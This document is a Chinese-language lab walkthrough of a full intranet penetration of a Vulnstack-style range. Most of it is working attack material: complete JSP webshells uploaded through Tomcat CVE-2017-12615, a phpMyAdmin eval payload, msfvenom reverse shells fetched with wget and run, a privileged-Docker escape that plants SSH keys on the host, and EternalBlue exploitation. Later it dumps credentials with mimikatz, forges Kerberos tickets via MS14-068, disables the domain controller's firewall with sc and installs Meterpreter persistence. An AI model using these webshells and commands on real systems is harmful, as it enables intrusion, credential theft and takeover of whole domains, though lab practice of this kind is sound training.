环境地址如下:
http://39.98.79.56/vuln/detail/6/
接下来下载好后在VmWare中进行ovf导入即可,共计三个文件
接下来配置网络环境,在虚拟网络编辑器中添加两个网段
1、192.168.1.0 NAT模式 用于外网
2、192.168.183.0 仅主机模式 用于内网
接下来给三个虚拟机以及攻击机(kali)进行分配
DC: VMet8(192.168.183.130)
Web(Ubuntu): VMet4、VMet8(192.168.1.130、192.168.183.128)
Win7: VMet8(192.168.183.129)
Kali: VMet4(192.168.1.129)
开机账密如下
web(ubuntu): ubuntu
win7 douser: Dotest123
DC: administrator: Test2008
接下来用Kali
虚拟机去pingUbuntu
尝试Ubuntu
虚拟机去pingDC域控
尝试Win7
虚拟机去pingDC域控
尝试DC域控
ping另外两台域内机器
皆可ping通,至此环境搭建完成,接下来在ubuntu
虚拟机中开启环境
sudo su
docker ps -a //查看以往开启容器
docker start ec814f6ee002
docker start 174745108fcb
docker start 09dd4e5bfa91
docker start ad7866b3df9b
docker ps //查看当前运行容器
打开Kali
,先用nmap对外网192.168.1.130
进行扫描
nmap -p1-65535 -Pn -A -T4 192.168.1.130
//-p1-65535 指扫描1-65535端口
//-Pn 指不被主机发现
// -A 指进行操作系统指纹识别
// -T4 指扫描速度最快
扫描探测出2003端口开放phpmyadmin
服务,接下来访问看是否能写入文件
回显NULL
,即禁止写入,只能再找其他方法了
在nmap扫描后注意到Phpmyadmin
版本为4.8.1
,在网上搜索相关漏洞
发现远程文件包含漏洞,简单了解过后发现思路就是写一个恶意查询语句,例如select '<?phpinfo();?>'
,然后包含有这个语句的日志文件,即可实现远程文件包含,我们的RCE也从中得来(更换php内容为一句话木马即可)。
所以接下来查询一下日志状态
SELECT '<?php @eval($_POST[1]);?>'
发现日志处于关闭状态,我们进行开启
SET GLOBAL general_log='on'
这里发现权限不足,无法开启,因此我们无法通过开启日志的方法来进行写入shell,而禁止导入导出也注定我们无法去直接写shell,因此这个服务放弃,切换另一个。
接下来看向2002端口,它是一个Apache Tomcat 8.5.19
服务,搜索相关漏洞
发现CVE-2017-12615
,尝试复现
访问2002端口,并抓包
修改方法为PUT
,上传jsp一句话木马
注:直接写shell.jsp无法上传,我们可以用三种方式绕过,shell.jsp/ 或shell.jsp::$DATA 或 shell.jsp%20
一句话木马内容如下
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
接下来用冰蝎连接
成功getshell
发现2001端口为Struts2服务,用漏扫工具扫描出漏洞,亦可getshell
由于冰蝎这种是非交互式的shell,所以我们需要进行反弹shell来得到一个可交互shell,这里直接上线msf
首先在kali处进入msf,开启监听
msfconsole //进入框架
use exploit/multi/handler //载入模块
set payload java/meterpreter/reverse_tcp //加载攻击负载核
set lhost 192.168.1.129 //设置本地监听地址
set lport 7777 //设置本地监听端口
run //开始执行,等待目标上线
而后在冰蝎进行对应即可
此时成功上线msf,接下来sessions 1
即可进入会话
除了利用冰蝎进行反弹shell,我们也可以通过生成msf木马,然后上传到服务器去执行来获取shell
具体如下
首先生成msf木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=7777 -f elf >shell.elf
接下来开启另一个终端,对本机7777端口进行监听
msfconsole
use exploit/multi/handler
set lhost 192.168.1.129
set lport 7777
set payload linux/x86/meterpreter/reverse_tcp
run
将木马上传至var/tmp
目录下,接下来chmod +x shell.elf
赋予执行权限,而后./shell.elf
执行木马文件
此时查看msf
成功上线
执行ip -addr查看当前ip
发现是172.xx,怀疑是docker环境,对于docker的验证,我们有如下两个方法
是否存在.dockerenv文件:
docker环境下存在:ls -alh /.dockerenv 文件
查询系统进程的cgroup信息:
docker环境下 cat /proc/1/cgroup
说明的确是docker环境,我们想进一步渗透,必须进行容器逃逸,到服务器中。接下来寻找Docker逃逸的漏洞,找到这篇文章
https://www.freebuf.com/articles/container/242763.html
1、Dirty Cow(CVE-2016-5195):Linux内核中的权限提升漏洞
2、CVE-2019-5736
3、emote api 未授权访问
1、漏洞原理: Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
2、影响版本:
docker version <=18.09.2
RunC version <=1.0-rc6
3、尝试
首先将payload下载到kali中,Poc链接https://github.com/Frichetten/CVE-2019-5736-PoC
接下来需要修改一下payload,改成如下形式即可(即反弹shell指令)
而后因为这个是go文件,我们需要下载go环境
sudo apt-get update
sudo apt install gccgo-go
sudo apt install golang-go
接下来对Poc文件进行编译
source /etc/profile //配置go环境
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go //编译生成
而后进入msf,将这个go文件进行上传
upload /tools/dockerrun/main
可以看到成功上传,接下来在kali处监听8888端口(nc -lvnp 8888)
接下来回到msf中,给main文件附加权限,并执行
此时虽回显成功,但在kali中并未接收到shell,因此这个方法不可行。
利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制。
详细介绍如下
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
第一步,挂载磁盘
fdisk -l //查看磁盘分区情况
mkdir /qwq //新建目录qwq
mount /dev/sda1 /qwq //挂载到新目录
我们这里发现sda1
在/dev/sda1
下,我们新建个目录并将/dev/sda1
挂载到新目录下。
此时执行ls /qwq
,若有回显则说明成功挂载。
emm,突然执行命令无回显了,所以我重新上传了一个jsp木马
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.1.130:2002
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6
Cookie: JSESSIONID=ks679custfpe6kzo4fkgc7bu; phpMyAdmin=4ac7b41bd0fe91b11cbe6f602f021a0a; pma_lang=zh_CN; auto_saved_sql_sort=
Connection: close
Content-Length: 752
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
访问木马文件,接下来执行刚刚的指令
成功写入
接下来在kali处生成密钥
sh-keygen -f qwq (我这里输入的密码是Qq123456)
chmod 600 qwq
现在相当于我们可以通过操纵qwq目录,来操纵宿主机的目录,需要将这个秘钥传到宿主机就能ssh登录
接下来查看用户的隐藏文件
ls -alh /qwq/home/ubuntu
发现ssh,接下来查看kali生成的pub,写一个脚本进行密钥的写入
cat qwq.pub #ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzoCdvHtvS1a+14tG+CWt490iwHKIFDnl4LB1PY0S/vPhs0N2NRg0xkhhba29rIZO4r0wrV2R/0voaYmICLNlx1cBkyHO0ik2GW5WGVzUFYtCKqy6LbSqJ2RH+pS8IJW0Ce2Cf57KFIAozBUFdoLqEQs7TJJPAMw839MGNEZApnqkFcaRbVvwYb0BHuRAuUS3rXpTt9y7tQJ74V5kg5a4dQ+BfO3Nxa3gSwbqA2p+3O4FWrw4w07KKzmix5TT2CSSOvcDGWEMg09ByLd1QcGzfga9eVief76hZvUmoE8wjj5M2y7nJ6cut8eQNguebsegcBmXLemtRM22CI89EUmsmkYkgsOOJjaZc5IQKu/BsqW39B4w8nukxpX14ljD6TcxifHe2+iDPuhSGw3cP7qxNQd4/Sus27JWOLrPdlycP/9sTCEqp3yj7znSXWK4Fo5EoFOoKkntPTsYqH/7x6DRA14OOWPG8oRZkU+EWiKOsLbr5sYscAKCwmebFT8heZm0= root@kali
接下来写脚本
vim key.sh
cp -avx /qwq/home/ubuntu/.ssh/id_rsa.pub /qwq/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzoCdvHtvS1a+14tG+CWt490iwHKIFDnl4LB1PY0S/vPhs0N2NRg0xkhhba29rIZO4r0wrV2R/0voaYmICLNlx1cBkyHO0ik2GW5WGVzUFYtCKqy6LbSqJ2RH+pS8IJW0Ce2Cf57KFIAozBUFdoLqEQs7TJJPAMw839MGNEZApnqkFcaRbVvwYb0BHuRAuUS3rXpTt9y7tQJ74V5kg5a4dQ+BfO3Nxa3gSwbqA2p+3O4FWrw4w07KKzmix5TT2CSSOvcDGWEMg09ByLd1QcGzfga9eVief76hZvUmoE8wjj5M2y7nJ6cut8eQNguebsegcBmXLemtRM22CI89EUmsmkYkgsOOJjaZc5IQKu/BsqW39B4w8nukxpX14ljD6TcxifHe2+iDPuhSGw3cP7qxNQd4/Sus27JWOLrPdlycP/9sTCEqp3yj7znSXWK4Fo5EoFOoKkntPTsYqH/7x6DRA14OOWPG8oRZkU+EWiKOsLbr5sYscAKCwmebFT8heZm0= root@kali' > /qwq/home/ubuntu/.ssh/authorized_keys
而后开启http服务,使得靶机可以访问到该脚本文件
python -m SimpleHTTPServer 80
在木马文件处执行如下命令
wget http://192.168.1.129/key.sh
chmod 777 key.sh
./key.sh
ls -alh /qwq/home/ubuntu/.ssh
接下来按理说就写入成功了
cat /qwq/home/ubuntu/.ssh/authorized_keys
这个应该可以看到密钥,但我这里并未看到,看一些大师傅给出的原因是密钥设置的过于简短,我刚刚设置的是qwq,小于六位且没大小写,好像是因为这个原因导致的写入密钥失败,但又测试一次过后(设置密码为Qq123456),仍未看到内容,不知道是啥情况。
然后正常的话,接下来执行
ssh -i qwq ubuntu@192.168.1.130
输入我们刚刚设定的密码,就可以实现登录,我这里未复现成功,直接用Ubuntu登录了。
ifconfig
查看网段
两张网卡,192.168.1.139
是外网,那么192.168.183.128
应该是内网
接下来同之前docker容器Getshell后msf上线的方法,再对Ubuntu进行一次。首先生成msf木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=7777 -f elf >shell.elf
接下来开启http服务,在Ubuntu处用wegt
下载木马文件
python -m SimpleHTTPServer 80
wget http://192.168.1.129/shell.elf
接下来在kali机上开启监听
msfconsole
use exploit/multi/handler
set lhost 192.168.1.129
set lport 7777
set payload linux/x86/meterpreter/reverse_tcp
run
然后回到Ubuntu,赋予木马文件执行权限并执行
chmod +x shell.elf
./shell.elf
接下来查看监听处
msf成功上线
顺带探测一下内网机器
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.183.0/24
set THREADS 5
run
探测出两台内网机器
192.168.183.130
192.168.183.129
run autoroute -s 192.168.183.0/24 //添加路由
run autoroute -p //检查是否添加成功
利用earthworm
建立代理,首先在kali上执行
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
然后用python服务的方式,将ew_for_linux64
上传至Ubuntu,而后执行
chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.1.129 -e 1234
接下来ping内网看是否成功
ping 192.168.183.130
代理设置成功!
使用nmap对刚刚探测到的两台内网机器进行扫描
nmap -sS -p 1-65535 -A 192.168.183.129
开放了445端口,尝试永恒之蓝漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > search MS17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.183.129
RHOSTS => 192.168.183.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
而后就是对域成员的一系列信息搜集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
接下来加载kiwi,并抓取用户凭据
#msf6中mimikatz已经不可以用了,mimikatz模块已经合并为kiwi模块
load kiwi #加载kiwi模块
creds_all #列举所有凭据
接下来去执行mimikatz.exe抓取域控密码
privilege::debug
sekurlsa::logonpasswords
有密码后,尝试Ms14-068
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
而后通过msf上传到win7upload /tools/Ms14-068.exe C://users/douser
接下来利用它来伪造票据
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
接下来将生成的TGT_douser@demo.com.ccache移到mimikatz目录下
copy TGT_douser@demo.com.ccache /users/douser/desktop
然后mimikatz注入票据
kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list //查看当前机器凭证
kerberos::ptc <生成的票据文件> //将票据注入到内存中
这里的话就是kerberos::ptc TGT_douser@demo.com.ccache
接下来我们就成功的获取了域控权限,然后我们接下来只将一个msf木马上传至域控,关闭防火墙并执行木马文件即可实现msf上线
net use \\WIN-ENS2VR5TR3N\c$ //控制域成员与域控建立一个ipc链接
msf生成正向连接木马
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe
将shell.exe上传至Win7,然后上传至域控
copy shell.exe \\WIN-ENS2VR5TR3N\c$
利用Sc关闭防火墙,并执行木马文件
sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe"
sc \\WIN-ENS2VR5TR3N start Startup
同时msf进行监听(监听一定在木马执行之前)
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 7777
exploit
而后成功上线,接管域控
接下来执行
run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp
而后上传mimikatz.exe,抓取密码
得到密码后,开启3389(远程桌面登录服务)
run post/windows/manage/enable_rdp
账密如下
DEMO\administrator
!QAZ2wsx
而后成功登录,即可实现远控域控